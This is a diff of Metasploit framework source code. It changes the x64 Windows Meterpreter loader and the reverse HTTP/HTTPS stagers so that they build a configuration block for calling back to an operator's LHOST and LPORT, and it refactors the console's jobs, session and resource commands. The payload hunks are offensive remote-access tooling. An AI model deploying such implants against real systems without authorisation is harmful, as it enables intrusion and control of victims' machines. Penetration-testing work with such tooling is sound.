||||
@@ -2,10 +2,10 @@
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/reflective_dll_loader'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module Msf
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# Common module stub for ARCH_X64 payloads that make use of Meterpreter.
|
||||
@@ -69,14 +69,39 @@ module Payload::Windows::MeterpreterLoader_x64
|
||||
^
|
||||
end
|
||||
|
||||
def stage_meterpreter(stageless=false)
|
||||
def stage_payload(opts={})
|
||||
stage_meterpreter(opts) + generate_config(opts)
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
|
||||
# create the configuration block, which for staged connections is really simple.
|
||||
config_opts = {
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: ds['EXITFUNC'],
|
||||
expiration: ds['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: opts[:transport_config] || [transport_config(opts)],
|
||||
extensions: []
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
|
||||
def stage_meterpreter(opts={})
|
||||
# Exceptions will be thrown by the mixin if there are issues.
|
||||
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll'))
|
||||
|
||||
asm_opts = {
|
||||
rdi_offset: offset,
|
||||
length: dll.length,
|
||||
stageless: stageless
|
||||
stageless: opts[:stageless] == true
|
||||
}
|
||||
|
||||
asm = asm_invoke_metsrv(asm_opts)
|
||||
|
||||
@@ -46,23 +46,25 @@ module Payload::Windows::ReverseHttp_x64
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
|
||||
conf = {
|
||||
ssl: opts[:ssl] || false,
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
retry_count: datastore['StagerRetryCount']
|
||||
host: ds['LHOST'],
|
||||
port: ds['LPORT'],
|
||||
retry_count: ds['StagerRetryCount']
|
||||
}
|
||||
|
||||
# add extended options if we do have enough space
|
||||
if self.available_space && required_space <= self.available_space
|
||||
conf[:url] = luri + generate_uri
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:ua] = datastore['MeterpreterUserAgent']
|
||||
conf[:proxy_host] = datastore['PayloadProxyHost']
|
||||
conf[:proxy_port] = datastore['PayloadProxyPort']
|
||||
conf[:proxy_user] = datastore['PayloadProxyUser']
|
||||
conf[:proxy_pass] = datastore['PayloadProxyPass']
|
||||
conf[:proxy_type] = datastore['PayloadProxyType']
|
||||
conf[:url] = luri + generate_uri(opts)
|
||||
conf[:exitfunk] = ds['EXITFUNC']
|
||||
conf[:ua] = ds['MeterpreterUserAgent']
|
||||
conf[:proxy_host] = ds['PayloadProxyHost']
|
||||
conf[:proxy_port] = ds['PayloadProxyPort']
|
||||
conf[:proxy_user] = ds['PayloadProxyUser']
|
||||
conf[:proxy_pass] = ds['PayloadProxyPass']
|
||||
conf[:proxy_type] = ds['PayloadProxyType']
|
||||
else
|
||||
# Otherwise default to small URIs
|
||||
conf[:url] = luri + generate_small_uri
|
||||
@@ -90,14 +92,13 @@ module Payload::Windows::ReverseHttp_x64
|
||||
#
|
||||
# Generate the URI for the initial stager
|
||||
#
|
||||
def generate_uri
|
||||
|
||||
uri_req_len = datastore['StagerURILength'].to_i
|
||||
def generate_uri(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
uri_req_len = ds['StagerURILength'].to_i
|
||||
|
||||
# Choose a random URI length between 30 and 255 bytes
|
||||
if uri_req_len == 0
|
||||
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
|
||||
|
||||
end
|
||||
|
||||
if uri_req_len < 5
|
||||
|
||||
@@ -23,8 +23,9 @@ module Payload::Windows::ReverseHttps_x64
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
super(ssl: true)
|
||||
def generate(opts={})
|
||||
opts[:ssl] = true
|
||||
super(opts)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -74,6 +74,36 @@ module CommandDispatcher
|
||||
dlog("Call stack:\n#{$@.join("\n")}", 'core', LEV_1)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate an array of job or session IDs from a given range String.
|
||||
# Always returns an Array.
|
||||
#
|
||||
# @param id_list [String] Range or list description such as 1-5 or 1,3,5 etc
|
||||
# @return [Array<String>] Representing the range
|
||||
def build_range_array(id_list)
|
||||
item_list = []
|
||||
unless id_list.blank?
|
||||
temp_list = id_list.split(',')
|
||||
temp_list.each do |ele|
|
||||
return if ele.count('-') > 1
|
||||
return if ele.first == '-' || ele[-1] == '-'
|
||||
return if ele.first == '.' || ele[-1] == '.'
|
||||
|
||||
if ele.include? '-'
|
||||
temp_array = (ele.split("-").inject { |s, e| s.to_i..e.to_i }).to_a
|
||||
item_list.concat(temp_array)
|
||||
elsif ele.include? '..'
|
||||
temp_array = (ele.split("..").inject { |s, e| s.to_i..e.to_i }).to_a
|
||||
item_list.concat(temp_array)
|
||||
else
|
||||
item_list.push(ele.to_i)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
item_list.uniq.sort
|
||||
end
|
||||
|
||||
#
|
||||
# The driver that this command dispatcher is associated with.
|
||||
#
|
||||
|
||||
@@ -16,6 +16,9 @@ require 'msf/ui/console/command_dispatcher/nop'
|
||||
require 'msf/ui/console/command_dispatcher/payload'
|
||||
require 'msf/ui/console/command_dispatcher/auxiliary'
|
||||
require 'msf/ui/console/command_dispatcher/post'
|
||||
require 'msf/ui/console/command_dispatcher/jobs'
|
||||
require 'msf/ui/console/command_dispatcher/resource'
|
||||
require 'msf/ui/console/command_dispatcher/modules'
|
||||
require 'msf/util/document_generator'
|
||||
|
||||
module Msf
|
||||
@@ -35,27 +38,20 @@ class Core
|
||||
|
||||
# Session command options
|
||||
@@sessions_opts = Rex::Parser::Arguments.new(
|
||||
"-c" => [ true, "Run a command on the session given with -i, or all" ],
|
||||
"-h" => [ false, "Help banner" ],
|
||||
"-i" => [ true, "Interact with the supplied session ID " ],
|
||||
"-l" => [ false, "List all active sessions" ],
|
||||
"-v" => [ false, "List sessions in verbose mode" ],
|
||||
"-q" => [ false, "Quiet mode" ],
|
||||
"-k" => [ true, "Terminate sessions by session ID and/or range" ],
|
||||
"-K" => [ false, "Terminate all sessions" ],
|
||||
"-s" => [ true, "Run a script on the session given with -i, or all" ],
|
||||
"-r" => [ false, "Reset the ring buffer for the session given with -i, or all" ],
|
||||
"-u" => [ true, "Upgrade a shell to a meterpreter session on many platforms" ],
|
||||
"-t" => [ true, "Set a response timeout (default: 15)" ],
|
||||
"-x" => [ false, "Show extended information in the session table" ])
|
||||
|
||||
@@jobs_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner." ],
|
||||
"-k" => [ true, "Terminate jobs by job ID and/or range." ],
|
||||
"-K" => [ false, "Terminate all running jobs." ],
|
||||
"-i" => [ true, "Lists detailed information about a running job."],
|
||||
"-l" => [ false, "List all running jobs." ],
|
||||
"-v" => [ false, "Print more detailed info. Use with -i and -l" ])
|
||||
"-c" => [ true, "Run a command on the session given with -i, or all" ],
|
||||
"-C" => [ true, "Run a Meterpreter Command on the session given with -i, or all" ],
|
||||
"-h" => [ false, "Help banner" ],
|
||||
"-i" => [ true, "Interact with the supplied session ID " ],
|
||||
"-l" => [ false, "List all active sessions" ],
|
||||
"-v" => [ false, "List sessions in verbose mode" ],
|
||||
"-q" => [ false, "Quiet mode" ],
|
||||
"-k" => [ true, "Terminate sessions by session ID and/or range" ],
|
||||
"-K" => [ false, "Terminate all sessions" ],
|
||||
"-s" => [ true, "Run a script on the session given with -i, or all" ],
|
||||
"-r" => [ false, "Reset the ring buffer for the session given with -i, or all" ],
|
||||
"-u" => [ true, "Upgrade a shell to a meterpreter session on many platforms" ],
|
||||
"-t" => [ true, "Set a response timeout (default: 15)" ],
|
||||
"-x" => [ false, "Show extended information in the session table" ])
|
||||
|
||||
@@threads_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner." ],
|
||||
@@ -89,64 +85,40 @@ class Core
|
||||
"-k" => [ true, "Keep (include) arg lines at start of output." ],
|
||||
"-c" => [ false, "Only print a count of matching lines." ])
|
||||
|
||||
@@search_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner." ])
|
||||
|
||||
|
||||
@@irb_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner." ],
|
||||
"-e" => [ true, "Expression to evaluate." ])
|
||||
|
||||
# Constant for disclosure date formatting in search functions
|
||||
DISCLOSURE_DATE_FORMAT = "%Y-%m-%d"
|
||||
|
||||
# Constant for a retry timeout on using modules before they're loaded
|
||||
CMD_USE_TIMEOUT = 3
|
||||
|
||||
# Returns the list of commands supported by this command dispatcher
|
||||
def commands
|
||||
{
|
||||
"?" => "Help menu",
|
||||
"back" => "Move back from the current context",
|
||||
"banner" => "Display an awesome metasploit banner",
|
||||
"cd" => "Change the current working directory",
|
||||
"connect" => "Communicate with a host",
|
||||
"color" => "Toggle color",
|
||||
"exit" => "Exit the console",
|
||||
"edit" => "Edit the current module with $VISUAL or $EDITOR",
|
||||
"get" => "Gets the value of a context-specific variable",
|
||||
"getg" => "Gets the value of a global variable",
|
||||
"grep" => "Grep the output of another command",
|
||||
"help" => "Help menu",
|
||||
"advanced" => "Displays advanced options for one or more modules",
|
||||
"info" => "Displays information about one or more modules",
|
||||
"options" => "Displays global options or for one or more modules",
|
||||
"irb" => "Drop into irb scripting mode",
|
||||
"jobs" => "Displays and manages jobs",
|
||||
"rename_job" => "Rename a job",
|
||||
"kill" => "Kill a job",
|
||||
"load" => "Load a framework plugin",
|
||||
"loadpath" => "Searches for and loads modules from a path",
|
||||
"popm" => "Pops the latest module off the stack and makes it active",
|
||||
"pushm" => "Pushes the active or list of modules onto the module stack",
|
||||
"previous" => "Sets the previously loaded module as the current module",
|
||||
"quit" => "Exit the console",
|
||||
"resource" => "Run the commands stored in a file",
|
||||
"makerc" => "Save commands entered since start to a file",
|
||||
"reload_all" => "Reloads all modules from all defined module paths",
|
||||
"route" => "Route traffic through a session",
|
||||
"save" => "Saves the active datastores",
|
||||
"search" => "Searches module names and descriptions",
|
||||
"sess" => "Interact with a given session",
|
||||
"sessions" => "Dump session listings and display information about sessions",
|
||||
"set" => "Sets a context-specific variable to a value",
|
||||
"setg" => "Sets a global variable to a value",
|
||||
"show" => "Displays modules of a given type, or all modules",
|
||||
"sleep" => "Do nothing for the specified number of seconds",
|
||||
"threads" => "View and manipulate background threads",
|
||||
"unload" => "Unload a framework plugin",
|
||||
"unset" => "Unsets one or more context-specific variables",
|
||||
"unsetg" => "Unsets one or more global variables",
|
||||
"use" => "Selects a module by name",
|
||||
"version" => "Show the framework and console library version numbers",
|
||||
"spool" => "Write console output into a file as well the screen"
|
||||
}
|
||||
@@ -194,176 +166,8 @@ class Core
|
||||
driver.update_prompt
|
||||
end
|
||||
|
||||
def cmd_reload_all_help
|
||||
print_line "Usage: reload_all"
|
||||
print_line
|
||||
print_line "Reload all modules from all configured module paths. This may take awhile."
|
||||
print_line "See also: loadpath"
|
||||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
# Reload all module paths that we are aware of
|
||||
#
|
||||
def cmd_reload_all(*args)
|
||||
if args.length > 0
|
||||
cmd_reload_all_help
|
||||
return
|
||||
end
|
||||
print_status("Reloading modules from all module paths...")
|
||||
framework.modules.reload_modules
|
||||
|
||||
# Check for modules that failed to load
|
||||
if framework.modules.module_load_error_by_path.length > 0
|
||||
print_error("WARNING! The following modules could not be loaded!")
|
||||
|
||||
framework.modules.module_load_error_by_path.each do |path, error|
|
||||
print_error("\t#{path}: #{error}")
|
||||
end
|
||||
end
|
||||
|
||||
if framework.modules.module_load_warnings.length > 0
|
||||
print_warning("The following modules were loaded with warnings:")
|
||||
framework.modules.module_load_warnings.each do |path, error|
|
||||
print_warning("\t#{path}: #{error}")
|
||||
end
|
||||
end
|
||||
|
||||
cmd_banner()
|
||||
end
|
||||
|
||||
def cmd_resource_help
|
||||
print_line "Usage: resource path1 [path2 ...]"
|
||||
print_line
|
||||
print_line "Run the commands stored in the supplied files. Resource files may also contain"
|
||||
print_line "ruby code between <ruby></ruby> tags."
|
||||
print_line
|
||||
print_line "See also: makerc"
|
||||
print_line
|
||||
end
|
||||
|
||||
def cmd_resource(*args)
|
||||
if args.empty?
|
||||
cmd_resource_help
|
||||
return false
|
||||
end
|
||||
|
||||
args.each do |res|
|
||||
good_res = nil
|
||||
if ::File.exist?(res)
|
||||
good_res = res
|
||||
elsif
|
||||
# let's check to see if it's in the scripts/resource dir (like when tab completed)
|
||||
[
|
||||
::Msf::Config.script_directory + ::File::SEPARATOR + "resource",
|
||||
::Msf::Config.user_script_directory + ::File::SEPARATOR + "resource"
|
||||
].each do |dir|
|
||||
res_path = dir + ::File::SEPARATOR + res
|
||||
if ::File.exist?(res_path)
|
||||
good_res = res_path
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
if good_res
|
||||
driver.load_resource(good_res)
|
||||
else
|
||||
print_error("#{res} is not a valid resource file")
|
||||
next
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Tab completion for the resource command
|
||||
#
|
||||
# @param str [String] the string currently being typed before tab was hit
|
||||
# @param words [Array<String>] the previously completed words on the command line. words is always
|
||||
# at least 1 when tab completion has reached this stage since the command itself has been completed
|
||||
|
||||
def cmd_resource_tabs(str, words)
|
||||
tabs = []
|
||||
#return tabs if words.length > 1
|
||||
if ( str and str =~ /^#{Regexp.escape(File::SEPARATOR)}/ )
|
||||
# then you are probably specifying a full path so let's just use normal file completion
|
||||
return tab_complete_filenames(str,words)
|
||||
elsif (not words[1] or not words[1].match(/^\//))
|
||||
# then let's start tab completion in the scripts/resource directories
|
||||
begin
|
||||
[
|
||||
::Msf::Config.script_directory + File::SEPARATOR + "resource",
|
||||
::Msf::Config.user_script_directory + File::SEPARATOR + "resource",
|
||||
"."
|
||||
].each do |dir|
|
||||
next if not ::File.exist? dir
|
||||
tabs += ::Dir.new(dir).find_all { |e|
|
||||
path = dir + File::SEPARATOR + e
|
||||
::File.file?(path) and File.readable?(path)
|
||||
}
|
||||
end
|
||||
rescue Exception
|
||||
end
|
||||
else
|
||||
tabs += tab_complete_filenames(str,words)
|
||||
end
|
||||
return tabs
|
||||
end
|
||||
|
||||
def cmd_makerc_help
|
||||
print_line "Usage: makerc <output rc file>"
|
||||
print_line
|
||||
print_line "Save the commands executed since startup to the specified file."
|
||||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
# Saves commands executed since the ui started to the specified msfrc file
|
||||
#
|
||||
def cmd_makerc(*args)
|
||||
if args.empty?
|
||||
cmd_makerc_help
|
||||
return false
|
||||
end
|
||||
driver.save_recent_history(args[0])
|
||||
end
|
||||
|
||||
def cmd_back_help
|
||||
print_line "Usage: back"
|
||||
print_line
|
||||
print_line "Return to the global dispatcher context"
|
||||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
# Pop the current dispatcher stack context, assuming it isn't pointed at
|
||||
# the core or database backend stack context.
|
||||
#
|
||||
def cmd_back(*args)
|
||||
if (driver.dispatcher_stack.size > 1 and
|
||||
driver.current_dispatcher.name != 'Core' and
|
||||
driver.current_dispatcher.name != 'Database Backend')
|
||||
# Reset the active module if we have one
|
||||
if (active_module)
|
||||
|
||||
# Do NOT reset the UI anymore
|
||||
# active_module.reset_ui
|
||||
|
||||
# Save the module's datastore so that we can load it later
|
||||
# if the module is used again
|
||||
@dscache[active_module.fullname] = active_module.datastore.dup
|
||||
|
||||
self.active_module = nil
|
||||
end
|
||||
|
||||
# Destack the current dispatcher
|
||||
driver.destack_dispatcher
|
||||
|
||||
# Restore the prompt
|
||||
prompt = framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt
|
||||
prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar
|
||||
driver.update_prompt("#{prompt} ", prompt_char, true)
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_cd_help
|
||||
print_line "Usage: cd <directory>"
|
||||
@@ -645,37 +449,6 @@ class Core
|
||||
true
|
||||
end
|
||||
|
||||
def local_editor
|
||||
Rex::Compat.getenv('VISUAL') || Rex::Compat.getenv('EDITOR') || '/usr/bin/vim'
|
||||
end
|
||||
|
||||
def cmd_edit_help
|
||||
msg = "Edit the currently active module"
|
||||
msg = "#{msg} #{local_editor ? "with #{local_editor}" : "($VISUAL or $EDITOR must be set first)"}."
|
||||
print_line "Usage: edit"
|
||||
print_line
|
||||
print_line msg
|
||||
print_line "When done editing, you must reload the module with 'reload' or 'rexploit'."
|
||||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
# Edit the currently active module
|
||||
#
|
||||
def cmd_edit
|
||||
unless local_editor
|
||||
print_error "$VISUAL or $EDITOR must be set first. Try 'export EDITOR=/usr/bin/vim'"
|
||||
return
|
||||
end
|
||||
if active_module
|
||||
path = active_module.file_path
|
||||
print_status "Launching #{local_editor} #{path}"
|
||||
system(local_editor,path)
|
||||
else
|
||||
print_error "Nothing to edit -- try using a module first."
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Instructs the driver to stop executing.
|
||||
#
|
||||
@@ -716,170 +489,6 @@ class Core
|
||||
Rex::ThreadSafe.sleep(args[0].to_f)
|
||||
end
|
||||
|
||||
def cmd_advanced_help
|
||||
print_line 'Usage: advanced [mod1 mod2 ...]'
|
||||
print_line
|
||||
print_line 'Queries the supplied module or modules for advanced options. If no module is given,'
|
||||
print_line 'show advanced options for the currently active module.'
|
||||
print_line
|
||||
end
|
||||
|
||||
def cmd_advanced(*args)
|
||||
if args.empty?
|
||||
if (active_module)
|
||||
show_advanced_options(active_module)
|
||||
return true
|
||||
else
|
||||
print_error('No module active')
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
args.each { |name|
|
||||
mod = framework.modules.create(name)
|
||||
|
||||
if (mod == nil)
|
||||
print_error("Invalid module: #{name}")
|
||||
else
|
||||
show_advanced_options(mod)
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
def cmd_info_help
|
||||
print_line "Usage: info <module name> [mod2 mod3 ...]"
|
||||
print_line
|
||||
print_line "Options:"
|
||||
print_line "* The flag '-j' will print the data in json format"
|
||||
print_line "* The flag '-d' will show the markdown version with a browser. More info, but could be slow."
|
||||
print_line "Queries the supplied module or modules for information. If no module is given,"
|
||||
print_line "show info for the currently active module."
|
||||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
# Displays information about one or more module.
|
||||
#
|
||||
def cmd_info(*args)
|
||||
dump_json = false
|
||||
show_doc = false
|
||||
|
||||
if args.include?('-j')
|
||||
args.delete('-j')
|
||||
dump_json = true
|
||||
end
|
||||
|
||||
if args.include?('-d')
|
||||
args.delete('-d')
|
||||
show_doc = true
|
||||
end
|
||||
|
||||
if (args.length == 0)
|
||||
if (active_module)
|
||||
if dump_json
|
||||
print(Serializer::Json.dump_module(active_module) + "\n")
|
||||
elsif show_doc
|
||||
f = Rex::Quickfile.new(["#{active_module.shortname}_doc", '.html'])
|
||||
begin
|
||||
print_status("Generating documentation for #{active_module.shortname}, then opening #{f.path} in a browser...")
|
||||
Msf::Util::DocumentGenerator.spawn_module_document(active_module, f)
|
||||
ensure
|
||||
f.close if f
|
||||
end
|
||||
else
|
||||
print(Serializer::ReadableText.dump_module(active_module))
|
||||
end
|
||||
return true
|
||||
else
|
||||
cmd_info_help
|
||||
return false
|
||||
end
|
||||
elsif args.include? "-h"
|
||||
cmd_info_help
|
||||
return false
|
||||
end
|
||||
|
||||
args.each { |name|
|
||||
mod = framework.modules.create(name)
|
||||
|
||||
if (mod == nil)
|
||||
print_error("Invalid module: #{name}")
|
||||
elsif dump_json
|
||||
print(Serializer::Json.dump_module(mod) + "\n")
|
||||
elsif show_doc
|
||||
f = Rex::Quickfile.new(["#{mod.shortname}_doc", '.html'])
|
||||
begin
|
||||
print_status("Generating documentation for #{mod.shortname}, then opening #{f.path} in a browser...")
|
||||
Msf::Util::DocumentGenerator.spawn_module_document(mod, f)
|
||||
ensure
|
||||
f.close if f
|
||||
end
|
||||
else
|
||||
print(Serializer::ReadableText.dump_module(mod))
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
def cmd_options_help
|
||||
print_line 'Usage: options [mod1 mod2 ...]'
|
||||
print_line
|
||||
print_line 'Queries the supplied module or modules for options. If no module is given,'
|
||||
print_line 'show options for the currently active module.'
|
||||
print_line
|
||||
end
|
||||
|
||||
def cmd_options(*args)
|
||||
if args.empty?
|
||||
if (active_module)
|
||||
show_options(active_module)
|
||||
return true
|
||||
else
|
||||
show_global_options
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
args.each do |name|
|
||||
mod = framework.modules.create(name)
|
||||
|
||||
if (mod == nil)
|
||||
print_error("Invalid module: #{name}")
|
||||
else
|
||||
show_options(mod)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Tab completion for the advanced command (same as use)
|
||||
#
|
||||
# @param str (see #cmd_use_tabs)
|
||||
# @param words (see #cmd_use_tabs)
|
||||
|
||||
def cmd_advanced_tabs(str, words)
|
||||
cmd_use_tabs(str, words)
|
||||
end
|
||||
|
||||
#
|
||||
# Tab completion for the advanced command (same as use)
|
||||
#
|
||||
# @param str (see #cmd_use_tabs)
|
||||
# @param words (see #cmd_use_tabs)
|
||||
|
||||
def cmd_info_tabs(str, words)
|
||||
cmd_use_tabs(str, words)
|
||||
end
|
||||
|
||||
#
|
||||
# Tab completion for the advanced command (same as use)
|
||||
#
|
||||
# @param str (see #cmd_use_tabs)
|
||||
# @param words (see #cmd_use_tabs)
|
||||
|
||||
def cmd_options_tabs(str, words)
|
||||
cmd_use_tabs(str, words)
|
||||
end
|
||||
|
||||
def cmd_irb_help
|
||||
print_line "Usage: irb"
|
||||
print_line
|
||||
@@ -922,179 +531,6 @@ class Core
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_rename_job_help
|
||||
print_line "Usage: rename_job [ID] [Name]"
|
||||
print_line
|
||||
print_line "Example: rename_job 0 \"meterpreter HTTPS special\""
|
||||
print_line
|
||||
print_line "Rename a job that's currently active."
|
||||
print_line "You may use the jobs command to see what jobs are available."
|
||||
print_line
|
||||
end
|
||||
|
||||
def cmd_rename_job(*args)
|
||||
if args.include?('-h') || args.length != 2 || args[0] !~ /^\d+$/
|
||||
cmd_rename_job_help
|
||||
return false
|
||||
end
|
||||
|
||||
job_id = args[0].to_s
|
||||
job_name = args[1].to_s
|
||||
|
||||
unless framework.jobs[job_id]
|
||||
print_error("Job #{job_id} does not exist.")
|
||||
return false
|
||||
end
|
||||
|
||||
# This is not respecting the Protected access control, but this seems to be the only way
|
||||
# to rename a job. If you know a more appropriate way, patches accepted.
|
||||
framework.jobs[job_id].send(:name=, job_name)
|
||||
print_status("Job #{job_id} updated")
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
#
|
||||
# Tab completion for the rename_job command
|
||||
#
|
||||
# @param str [String] the string currently being typed before tab was hit
|
||||
# @param words [Array<String>] the previously completed words on the command line. words is always
|
||||
# at least 1 when tab completion has reached this stage since the command itself has been completed
|
||||
|
||||
def cmd_rename_job_tabs(str, words)
|
||||
return [] if words.length > 1
|
||||
framework.jobs.keys
|
||||
end
|
||||
|
||||
def cmd_jobs_help
|
||||
print_line "Usage: jobs [options]"
|
||||
print_line
|
||||
print_line "Active job manipulation and interaction."
|
||||
print @@jobs_opts.usage()
|
||||
end
|
||||
|
||||
#
|
||||
# Displays and manages running jobs for the active instance of the
|
||||
# framework.
|
||||
#
|
||||
def cmd_jobs(*args)
|
||||
# Make the default behavior listing all jobs if there were no options
|
||||
# or the only option is the verbose flag
|
||||
args.unshift("-l") if args.length == 0 || args == ["-v"]
|
||||
|
||||
verbose = false
|
||||
dump_list = false
|
||||
dump_info = false
|
||||
job_id = nil
|
||||
|
||||
# Parse the command options
|
||||
@@jobs_opts.parse(args) do |opt, idx, val|
|
||||
case opt
|
||||
when "-v"
|
||||
verbose = true
|
||||
when "-l"
|
||||
dump_list = true
|
||||
# Terminate the supplied job ID(s)
|
||||
when "-k"
|
||||
job_list = build_range_array(val)
|
||||
if job_list.blank?
|
||||
print_error("Please specify valid job identifier(s)")
|
||||
return false
|
||||
end
|
||||
print_status("Stopping the following job(s): #{job_list.join(', ')}")
|
||||
job_list.map(&:to_s).each do |job|
|
||||
if framework.jobs.has_key?(job)
|
||||
print_status("Stopping job #{job}")
|
||||
framework.jobs.stop_job(job)
|
||||
else
|
||||
print_error("Invalid job identifier: #{job}")
|
||||
end
|
||||
end
|
||||
when "-K"
|
||||
print_line("Stopping all jobs...")
|
||||
framework.jobs.each_key do |i|
|
||||
framework.jobs.stop_job(i)
|
||||
end
|
||||
when "-i"
|
||||
# Defer printing anything until the end of option parsing
|
||||
# so we can check for the verbose flag.
|
||||
dump_info = true
|
||||
job_id = val
|
||||
when "-h"
|
||||
cmd_jobs_help
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
if dump_list
|
||||
print("\n#{Serializer::ReadableText.dump_jobs(framework, verbose)}\n")
|
||||
end
|
||||
if dump_info
|
||||
if job_id && framework.jobs[job_id.to_s]
|
||||
job = framework.jobs[job_id.to_s]
|
||||
mod = job.ctx[0]
|
||||
|
||||
output = '\n'
|
||||
output += "Name: #{mod.name}"
|
||||
output += ", started at #{job.start_time}" if job.start_time
|
||||
print_line(output)
|
||||
|
||||
show_options(mod) if mod.options.has_options?
|
||||
|
||||
if verbose
|
||||
mod_opt = Serializer::ReadableText.dump_advanced_options(mod,' ')
|
||||
if mod_opt && mod_opt.length > 0
|
||||
print_line("\nModule advanced options:\n\n#{mod_opt}\n")
|
||||
end
|
||||
end
|
||||
else
|
||||
print_line("Invalid Job ID")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Tab completion for the jobs command
|
||||
#
|
||||
# @param str [String] the string currently being typed before tab was hit
|
||||
# @param words [Array<String>] the previously completed words on the command line. words is always
|
||||
# at least 1 when tab completion has reached this stage since the command itself has been completed
|
||||
|
||||
def cmd_jobs_tabs(str, words)
|
||||
if words.length == 1
|
||||
return @@jobs_opts.fmt.keys
|
||||
end
|
||||
|
||||
if words.length == 2 and (@@jobs_opts.fmt[words[1]] || [false])[0]
|
||||
return framework.jobs.keys
|
||||
end
|
||||
|
||||
[]
|
||||
end
|
||||
|
||||
def cmd_kill_help
|
||||
print_line "Usage: kill <job1> [job2 ...]"
|
||||
print_line
|
||||
print_line "Equivalent to 'jobs -k job1 -k job2 ...'"
|
||||
print @@jobs_opts.usage()
|
||||
end
|
||||
|
||||
def cmd_kill(*args)
|
||||
cmd_jobs("-k", *args)
|
||||
end
|
||||
|
||||
#
|
||||
# Tab completion for the kill command
|
||||
#
|
||||
# @param str [String] the string currently being typed before tab was hit
|
||||
# @param words [Array<String>] the previously completed words on the command line. words is always
|
||||
# at least 1 when tab completion has reached this stage since the command itself has been completed
|
||||
|
||||
def cmd_kill_tabs(str, words)
|
||||
return [] if words.length > 1
|
||||
framework.jobs.keys
|
||||
end
|
||||
|
||||
def cmd_threads_help
|
||||
print_line "Usage: threads [options]"
|
||||
print_line
|
||||
@@ -1512,208 +948,6 @@ class Core
|
||||
print_line("Saved configuration to: #{Msf::Config.config_file}")
|
||||
end
|
||||
|
||||
def cmd_loadpath_help
|
||||
print_line "Usage: loadpath </path/to/modules>"
|
||||
print_line
|
||||
print_line "Loads modules from the given directory which should contain subdirectories for"
|
||||
print_line "module types, e.g. /path/to/modules/exploits"
|
||||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
# Adds one or more search paths.
|
||||
#
|
||||
def cmd_loadpath(*args)
|
||||
if (args.length == 0 or args.include? "-h")
|
||||
cmd_loadpath_help
|
||||
return true
|
||||
end
|
||||
|
||||
totals = {}
|
||||
overall = 0
|
||||
curr_path = nil
|
||||
|
||||
begin
|
||||
# Walk the list of supplied search paths attempting to add each one
|
||||
# along the way
|
||||
args.each { |path|
|
||||
curr_path = path
|
||||
|
||||
# Load modules, but do not consult the cache
|
||||
if (counts = framework.modules.add_module_path(path))
|
||||
counts.each_pair { |type, count|
|
||||
totals[type] = (totals[type]) ? (totals[type] + count) : count
|
||||
|
||||
overall += count
|
||||
}
|
||||
end
|
||||
}
|
||||
rescue NameError, RuntimeError
|
||||
log_error("Failed to add search path #{curr_path}: #{$!}")
|
||||
return true
|
||||
end
|
||||
|
||||
added = "Loaded #{overall} modules:\n"
|
||||
|
||||
totals.each_pair { |type, count|
|
||||
added << " #{count} #{type}#{count != 1 ? 's' : ''}\n"
|
||||
}
|
||||
|
||||
print(added)
|
||||
end
|
||||
|
||||
#
|
||||
# Tab completion for the loadpath command
|
||||
#
|
||||
# @param str [String] the string currently being typed before tab was hit
|
||||
# @param words [Array<String>] the previously completed words on the command line. words is always
|
||||
# at least 1 when tab completion has reached this stage since the command itself has been completed
|
||||
|
||||
def cmd_loadpath_tabs(str, words)
|
||||
return [] if words.length > 1
|
||||
|
||||
# This custom completion might better than Readline's... We'll leave it for now.
|
||||
#tab_complete_filenames(str,words)
|
||||
|
||||
paths = []
|
||||
if (File.directory?(str))
|
||||
paths = Dir.entries(str)
|
||||
paths = paths.map { |f|
|
||||
if File.directory? File.join(str,f)
|
||||
File.join(str,f)
|
||||
end
|
||||
}
|
||||
